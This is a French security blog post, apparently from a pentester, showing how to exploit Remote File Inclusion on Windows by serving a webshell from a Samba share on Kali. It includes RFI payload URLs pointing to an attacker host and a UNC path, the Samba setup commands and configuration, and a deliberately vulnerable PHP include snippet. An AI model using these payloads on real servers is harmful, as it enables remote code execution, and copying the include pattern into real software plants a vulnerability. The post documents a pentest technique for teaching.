Les RFI façon Windows

Comment exploiter une RFI sur Windows.

Posté par Matthieu le 26 novembre 2019

Lors d'un récent pentest, je me suis retrouvé face à l'exploitation d'une vulnérabilité web que je pensais maîtriser parfaitement...

Aujourd'hui, nous allons parler d'inclusion de fichiers distants ou RFI (Remote File Inclusion).

RFI 101

Le but de cet article n'étant pas d'apprendre aux plus néophytes d'entre vous ce qu'est une RFI, nous allons donc passer brièvement dessus.

Pour faire court, une RFI est une attaque web ayant pour but de faire exécuter, par le site ciblé, du code provenant d'un autre serveur.

Le résultat de cette attaque est l'exécution de code sur le serveur (RCE).

Voici l'exemple d'une exploitation de RFI :

http://site.vulnerable.com/?page=http://site.attaquant.com/webshell.php

Plus d'info sur les RFI
[1] : https://www.imperva.com/learn/application-security/rfi-remote-file-inclusion/
[2] : https://blog.clever-age.com/fr/2014/10/21/owasp-local-remote-file-inclusion-lfi-rfi/

Pourquoi Windows ?

Lors de ce pentest, j'ai donc essayé d'exploiter cette vulnérabilité en vain : impossible de faire en sorte que le serveur m'envoie une requête HTTP ! (Pare-feu ?)

Il fallait donc ruser et faire en sorte d'envoyer une requête sur un protocole permettant d'accéder à une ressource partagée sur le réseau ... Vous ne pensez à rien.

Et oui ! SMB (Server Message Block) est un protocole qui permet entre autres de partager des ressources à travers le réseau, si je crée un serveur Samba sur ma Kali Linux et que je partage un webshell, je devrais pouvoir réussir à le récupérer au travers de ma RFI !

Le payload deviendrait ainsi :


http://site.vulnerable.com/?page=\\IP\SHARE\webshell.php

Fini pour la théorie, passons à la pratique !

RFI via SMB PoC

Nous allons dans un premier temps créer un serveur Samba sur Kali, pour ce faire rien de plus simple :

1 : Installer Samba

apt install samba

2 : Préparer un dossier

root@kali:~# mkdir /root/inf0sec
root@kali:~# chmod 0555 /root/inf0sec
root@kali:~# chown nobody:nogroup /root/inf0sec

3 : Configurer /etc/samba/smb.conf

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[rfi]
path = /root/inf0sec
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

4 : Redémarrer le service

root@kali:~# systemctl restart smbd

Pour le bien de cet article, j'ai développé une petite page vulnérable aux inclusions de fichiers :

if (isset($_GET['page'])){
include($_GET['page']);
}

echo "inf0sec Blog POC";
?>

Du coté de mon serveur Samba, j'ai glissé un petit webshell piqué sur le net ici

Voici maintenant ma page web :

Screenshot-1

Maintenant, injectons notre webshell via notre partage Samba :

Screenshot-2

Et voila ! Un joli petit webshell qui nous permet d'éxecuter des commandes directement sur le serveur.

Conclusion

Merci d'avoir suivi cet article moins technique que les autres. Je voulais cependant partager cette technique car je n'ai vu que très peu d'articles en parler sur le net.

J’espère que cet article vous aura plu.

Happy Hacking

29 Coeur(s)